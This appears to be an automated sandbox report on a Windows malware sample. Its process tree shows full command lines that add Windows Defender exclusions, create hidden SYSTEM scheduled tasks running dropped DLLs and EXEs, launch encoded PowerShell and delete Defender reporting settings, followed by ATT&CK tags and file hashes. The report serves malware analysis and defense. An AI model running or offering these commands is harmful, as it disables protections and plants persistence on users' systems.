C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DufnooWHNFUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DufnooWHNFUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\IAvstfEYU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\IAvstfEYU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\WNdNVmbTRKpEC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\WNdNVmbTRKpEC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gNEkwGGiCnIU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gNEkwGGiCnIU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\sdTGWCKIydsYsNrSARR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\sdTGWCKIydsYsNrSARR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\cvDkMpEVJyabfeVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\cvDkMpEVJyabfeVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\mrTyqNDBdkhwJTRHw\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\mrTyqNDBdkhwJTRHw\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\fgekRaJKKiJdEvwV\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\fgekRaJKKiJdEvwV\" /t REG_DWORD /d 0 /reg:64;"2⤵PID:5944
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DufnooWHNFUn" /t REG_DWORD /d 0 /reg:643⤵PID:5612
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\WNdNVmbTRKpEC" /t REG_DWORD /d 0 /reg:643⤵PID:3496
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\cvDkMpEVJyabfeVB /t REG_DWORD /d 0 /reg:323⤵PID:1632
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵PID:6068
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵PID:2356
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\mrTyqNDBdkhwJTRHw /t REG_DWORD /d 0 /reg:323⤵PID:2564
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\fgekRaJKKiJdEvwV /t REG_DWORD /d 0 /reg:643⤵PID:4848
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\fgekRaJKKiJdEvwV /t REG_DWORD /d 0 /reg:323⤵PID:1916
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\mrTyqNDBdkhwJTRHw /t REG_DWORD /d 0 /reg:643⤵PID:4364
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵PID:1636
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵PID:5276
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\cvDkMpEVJyabfeVB /t REG_DWORD /d 0 /reg:643⤵PID:2112
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\sdTGWCKIydsYsNrSARR" /t REG_DWORD /d 0 /reg:643⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2120
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\sdTGWCKIydsYsNrSARR" /t REG_DWORD /d 0 /reg:323⤵PID:5500
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gNEkwGGiCnIU2" /t REG_DWORD /d 0 /reg:643⤵PID:3184
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gNEkwGGiCnIU2" /t REG_DWORD /d 0 /reg:323⤵PID:2596
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\WNdNVmbTRKpEC" /t REG_DWORD /d 0 /reg:323⤵PID:1072
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IAvstfEYU" /t REG_DWORD /d 0 /reg:643⤵PID:5012
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IAvstfEYU" /t REG_DWORD /d 0 /reg:323⤵PID:3720
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DufnooWHNFUn" /t REG_DWORD /d 0 /reg:323⤵PID:4500
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gVBOgAtSW" /SC once /ST 14:22:39 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
PID:4664
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gVBOgAtSW"2⤵PID:1468
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gVBOgAtSW"2⤵PID:3448
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "HddpujWaDpLIbkLdt" /SC once /ST 04:21:19 /RU "SYSTEM" /TR "\"C:\Windows\Temp\fgekRaJKKiJdEvwV\fcCwMaVthMrKJoX\FxDoDiP.exe\" gT /Fosite_idjGo 385118 /S" /V1 /F2⤵
- Creates scheduled task(s)
PID:4012
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "HddpujWaDpLIbkLdt"2⤵PID:5280
-
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:1912
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵PID:5172
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵PID:780
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵PID:6048
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:2296
-
C:\Windows\Temp\fgekRaJKKiJdEvwV\fcCwMaVthMrKJoX\FxDoDiP.exeC:\Windows\Temp\fgekRaJKKiJdEvwV\fcCwMaVthMrKJoX\FxDoDiP.exe gT /Fosite_idjGo 385118 /S1⤵PID:2496
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bmfUAJAHieefCXsdaD"2⤵
- Suspicious use of WriteProcessMemory
PID:880
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:322⤵PID:5964
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:323⤵PID:1224
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:642⤵PID:5704
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:643⤵PID:5624
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\IAvstfEYU\NWSMkj.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "gcsaRhxvmhmmEZS" /V1 /F2⤵
- Creates scheduled task(s)
PID:5736
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gcsaRhxvmhmmEZS2" /F /xml "C:\Program Files (x86)\IAvstfEYU\UOxZFys.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:2720
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "gcsaRhxvmhmmEZS"2⤵PID:5964
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gcsaRhxvmhmmEZS"2⤵PID:1008
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "IsxNCaiPdRDTBP" /F /xml "C:\Program Files (x86)\gNEkwGGiCnIU2\wZTIlye.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:1516
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "GQBvHPrMcnsQR2" /F /xml "C:\ProgramData\cvDkMpEVJyabfeVB\hslVLdj.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:5884
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "FDSsfUJUNzWcTDuAR2" /F /xml "C:\Program Files (x86)\sdTGWCKIydsYsNrSARR\jYACFUN.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:5572
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "mTrzZzYaKbZcxyPVaUZ2" /F /xml "C:\Program Files (x86)\WNdNVmbTRKpEC\uVAQIlJ.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:5220
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "drPQSDndGmRZEFerX" /SC once /ST 01:49:28 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\fgekRaJKKiJdEvwV\TiuKIzPn\CAKcStJ.dll\",#1 /hUsite_idKcn 385118" /V1 /F2⤵
- Creates scheduled task(s)
PID:5868
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "drPQSDndGmRZEFerX"2⤵PID:5760
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:322⤵PID:1164
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:323⤵PID:4548
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:642⤵PID:5020
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:643⤵PID:5472
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "HddpujWaDpLIbkLdt"2⤵PID:2300
-
-
C:\Windows\system32\rundll32.EXEC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\fgekRaJKKiJdEvwV\TiuKIzPn\CAKcStJ.dll",#1 /hUsite_idKcn 3851181⤵PID:4396
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\fgekRaJKKiJdEvwV\TiuKIzPn\CAKcStJ.dll",#1 /hUsite_idKcn 3851182⤵PID:3392
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "drPQSDndGmRZEFerX"3⤵PID:1048
-
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
2Modify Registry
2Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.2MB
MD53fc16f3932fad28e1b0069205904dcf1
SHA1db07eb4e4874220ba62afa13e6b35c1c818cff93
SHA256bd85cc82ede89104e3845a2135862d288b2f849012f3dc10f5f27e32c1bb0479
SHA512a30c4de2ce2598a6a4d4c055344d5d8b8c43550ec77035afbb7c3252a8014d9bb2ce5eeddc97c78014c1aefc881e0d33c6622701c2052ef6eb3e836e14c3b7bd
-
Filesize
1KB
MD564d43c55cca6b0ed126739c87e9bc220
SHA1a0e9c9ba2e238423dea709ee346de2184eb5b9dc
SHA256d57a785680d54b9634c0d27d0a93a0b847ba0c997a2bc5e4dc12a8d5f41e447d
SHA512d79e4b6d1b9b20ec7bb831c718e71ec64dc66e3ade9451b5183e37db9d37aeb2158cd9a0dca4150e397cf297eb8bee6d05dfbdcb0cd39e9ebd19715b512e2d5a
-
Filesize
33KB
MD5127337f37322ca32943951bad7353cdf
SHA12a5bfe935e99396117f5e8b23475f06c2d189c80
SHA25655a21fc7645e07877b1c267c37a402a90755f44428b0e3b683a538412f8aa5ad
SHA512faf94b77e20f26ff902289f062756281cab3cde24efed3772677f7d929f6feb1475587921597565d27f86e5d6bcacd7f65b2631a2e7c21fdda1f4975f3453cc4
-
Filesize
20KB
MD574d8debcdae2d71d5cd45f72b33d30aa
SHA1fe9603045c34ce74e2a0d59eb2273f05617c3dde
SHA2567995d53a81ec9ccb79fae5ae6906e4cb3e91892fbecc7d629f1316a76c2e4532
SHA51273d822f89110ab9fd92a492865fe01de65784feb83e0af636962b8e3541aafe04468e4a96282cab83e42c893b0274dc2aacea16e27569a15585a2e63e1febe19
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json
Filesize187B
MD52a1e12a4811892d95962998e184399d8
SHA155b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA25632b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
SHA512bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json
Filesize136B
MD5238d2612f510ea51d0d3eaa09e7136b1
SHA10953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA256801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
SHA5122630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json
Filesize150B
MD50b1cf3deab325f8987f2ee31c6afc8ea
SHA16a51537cef82143d3d768759b21598542d683904
SHA2560ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
SHA5125bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f
-
Filesize
10KB
MD5cd8858999057b0bc5d4cb75965a0abac
SHA19b510c3509167e6a689e533be626a64713f3570d
SHA2560cca5ccc026b4faa503f8dbe890972d9dec6e81959368b0706e36a791fcad25d
SHA512f13d34023445dfcf8ece932b1d687eeb692f3f88748b40656f1fadb118c220ba69309226cfa0347cae315e5da363bd9044c70d4a14c89a1e57568f39710f9cb0
-
Filesize
35KB
MD5fe12c06bdf12ca13ddc2bbf0efaac0ac
SHA1916290cb4ad7cd2ef1b62403f5e0ac067b0b93f9
SHA256eb284c3d9da1ef70a49c641a4b931e88fb15aea108fe1180f9aa0d43ebd9722e
SHA512aa1d62aaabe543df921e4d59a1f371fca0ef9ce184602370cf2aebffc4794677b71f98089322a3e9114e9b4ac83d0bb6f05deba8e23aa34703368817dd5d93fe
-
Filesize
2KB
MD5968cb9309758126772781b83adb8a28f
SHA18da30e71accf186b2ba11da1797cf67f8f78b47c
SHA25692099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
SHA5124bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json
Filesize151B
MD5bd6b60b18aee6aaeb83b35c68fb48d88
SHA19b977a5fbf606d1104894e025e51ac28b56137c3
SHA256b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55
SHA5123500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b
-
Filesize
9KB
MD5e5daa25c828b73199deb45608e5b7d02
SHA149979c0b4850884957687b2efe7c258c11951432
SHA256b3f8ca6737205b41db3348b69651172a4e73ed1aafb032ad8b1b3a9d0dd291ab
SHA51206ec68c83d427aa43a0315725abd1c1029149c7dce84a69086ec11c573d4367ea9bc6ca9fb997d314b7810b595fdd77e4751e1454716ccf17e38a2019c4c93d7
-
Filesize
21KB
MD579cca1754adf5953ca6ee31b8485d300
SHA1874f58958cc6f29cce743ffa4217bf592492e6c3
SHA25610b5ebfc13c3aa14d223d0135cf3e28635a01707a1a1f126ad34a31082232e79
SHA512af5ca349e8634fd7f9e6d8efd722b3aafb544385d1948551866771d9d9276f27ec35a8a1676ad9581c94a579476223064cc277bd29e8e18d16db925e79da9407
-
Filesize
15KB
MD504d9c635c4111c15e2f73ecd6040d08e
SHA1b927421f2eb8aa956ba31edd075180f9fb0ba12c
SHA256547dd4087048f899228d124bdc440f904bdb8473210d7979ac7f369b6377d5e9
SHA5125e927d27286a7ddd2bc804bb0c8c494b6d8c2a5830c927e75ea243d93317f2ff1738ed68542b5c9c9d31923fa3c5b460372f33753deab04c1ae10a43462e2f42
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202401261907441\additional_file0.tmp
Filesize5KB
MD516adcb428867857bf10f7b4f7f8601ad
SHA1fa439c00007b051855d3903592ab294d24a3efef
SHA2569572a69fc0d8255c5b0359ebbb0aa5c9d173b61cf0ce5ab0760e8630479cd466
SHA512cfdfa44c3c397ddfde80d2d81628223bd6a3e78268b102772c64fb2d04d68fab22f717feeb82dd7bd391de3c2da97b6811a1facd59d6a1adb7adac5b8f008318
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202401261907441\assistant\Assistant_106.0.4998.16_Setup.exe_sfx.exe
Filesize49KB
MD5206ec2c3f1242139e9c35848d5d9fbf0
SHA1b648e19550050e9200e8b2dff30374b3e041975b
SHA25625aa6058ec5e02fc723d11825c5616154e3c1958d0cb01505e03568ee3cb9e61
SHA512c53442e4a9f3e7bdfa8f71482fadda01a530491a789218566af2d334b2cc8ce86a682667572ec14b5e0da02e46116293c2856df3cc692a7f6ec2a623d636c7fe
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202401261907441\assistant\Assistant_106.0.4998.16_Setup.exe_sfx.exe
Filesize54KB
MD5a5a5aec62744511863572117eb1d8eff
SHA1d4e2259c26ec4d2ce509a251dfd31b8a83506fde
SHA256302a551e2a88640dfd6acb4d4053bee24194a8c5f16160952eb7cb56ff2e8bfb
SHA5122c235df0e23b0dc19f92c416b6e1b71976c6d2a804ebec4ed8f4e21e6b92ee6d6ff0ded27e433a52cae17e2bd7b4983caeeca4ec17436fb188c9aad88be2ccf6
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202401261907441\assistant\assistant_installer.exe
Filesize1KB
MD5978a5d7561b83228551ce8ce733f7b4c
SHA194878830a7d638bb5f0ea7f062030e8db5e7c1a5
SHA2563c8adf8a82bdc897a2a2e5107984727c309694789226adaf23eec8b4a92a67b2
SHA51216f024233c0bdba5aee4b316ec6743b6a794c0d2293e5864ca4c080c8ce921651d4f043da28df352ccbaec55d7ebd28012c9ee88d76afa62b93a04f5d6d1c428
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202401261907441\assistant\assistant_installer.exe
Filesize57KB
MD5a63be8c107415877a2cb41e095b7ae99
SHA1e8f660051f637effa8dfd9dca39d5805d2ff5806
SHA256eb71a72f3b4af55837657fa6ddad05d6279a285132d3789556e478201354a5b2
SHA5123617cb80ab7ec364a3f62b21d2ef24cae93877d7729d30a79da8bc999a1e20bce66c4b58c065e70a8481cb6121ed02304d32be660fa01d5705eb540fface6a41
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202401261907441\assistant\dbgcore.DLL
Filesize1KB
MD5e2854d574f19fd13ad765d1168affbdd
SHA17c43bede8025a6e54eb628dbe1565f96eff50247
SHA256042abad849c281d1aa0290069f18f61c030a5e770bf6ea0a36bbdc201b035eb7
SHA512ef484b68d2ac0e346dd2359b1ce671a2f5d73973c5053537eeef27392dad75c21d018171051b11cf57f5d21dc5afee9441df8b47fb4c3bf32bc828e06dc5e1c8
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202401261907441\assistant\dbgcore.dll
Filesize72KB
MD5f2f228eaf3a071b1f96d82600c0787f5
SHA13de6534528559c3896ae4788799fca6ec84da9bb
SHA256d2bcd68a4cb928cbc7d451486aabae129276cae32177986ced362c3130abe850
SHA5122aee3a251a9a3c066d86722e383a6d205004b49732e9c0cb20ef29ae38fb48f0f05d01d9bcfcfbcc5fde782317c67f374802399bce152ea66bda566d008e6b08
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202401261907441\assistant\dbghelp.dll
Filesize65KB
MD5f66b07023bfe176302299a297a65482b
SHA10c73960b5affe9ddf7053170394260ef2c9f6589
SHA256c0b3b52c610ecfefe2bce5c8c48df275db6ba4271d2b81ced7cc336af197d178
SHA512bd3d57ce61dcd1c85794b5d9ad3daa9278ea8c6a3036cde2afa2f1b931e9c9bff92b493f36cf9a9393b1f294bb108ce55a39ca2ada08a572f8d06d435d879c2a
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202401261907441\assistant\dbghelp.dll
Filesize1KB
MD5334561c2270500651c86a3944f7d6fe0
SHA1e3a1768bd98c078d2b9a45a3f600f808f290f0ee
SHA25649b345ea0ade886ea6a931f7611704537b1de13410cd8a22bf6da8a1f22da6db
SHA51241f46ba18515cbdbaf3a9bd37da84961d2650295becb89cd209b28e115a5fa7b79578fa49014679e3e01afd2732e97079f9c9d33424457870a5bd91f762a0452
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202401261907441\assistant\dbghelp.dll
Filesize48KB
MD590e0b59781c335271ef4daa6b82c3805
SHA1430baf043be3ab9aca1c2a0caa2ede13dbc638f8
SHA256a08f8ca879f1c0a5fab2de49505da6bccb05d0e2595ea45e8e5b19f9e38f2ad3
SHA512c10e03cb61341914ef109084c79b17480862ea8146e87b687980c2b168673b485725100688c36523b4b58aa6be534847c45d1a20fc7a6bc5d8f14b3334fd5e14
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202401261907441\opera_package
Filesize52KB
MD5d218ffb84cff0d7fb3f53113370af6ac
SHA1db9d3d6bb3e1a59bee600b3bfdc7ff0ee7079688
SHA2567aedf9335ca447120c5915c8f6616ca2e3c6cecf4b34e79842f1eef8a1b24946
SHA5125e031bde849ed4e03319afdfb0fa60b8eeb7071a9692cf389ef42a66a8f38fb682eddf1eadf5206ca913763773a13d571192d7846f08842a1d0967cc91c4388f
-
Filesize
87KB
MD5681003a7b03e6d1459f275acca953e05
